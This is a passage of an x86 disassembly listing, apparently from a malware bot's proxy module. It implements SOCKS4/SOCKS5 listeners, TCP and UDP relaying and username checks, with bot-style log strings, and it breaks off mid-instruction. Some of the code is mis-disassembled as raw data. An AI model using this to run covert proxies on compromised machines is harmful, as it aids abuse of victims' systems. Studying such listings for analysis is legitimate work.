sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh call near ptr 283030Ah nop loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi nop call near ptr 71AB9639h loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 283030Ah jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 283030Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi ; closesocket push ebx call esi ; closesocket loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh call near ptr 283030Ah nop jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax call near ptr 71AB9639h nop loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax call near ptr 71AB615Ah nop mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 call near ptr 71AB2DC0h nop test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 call near ptr 71AB2DC0h nop push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730868h, 8BE85600h dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_447304 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov 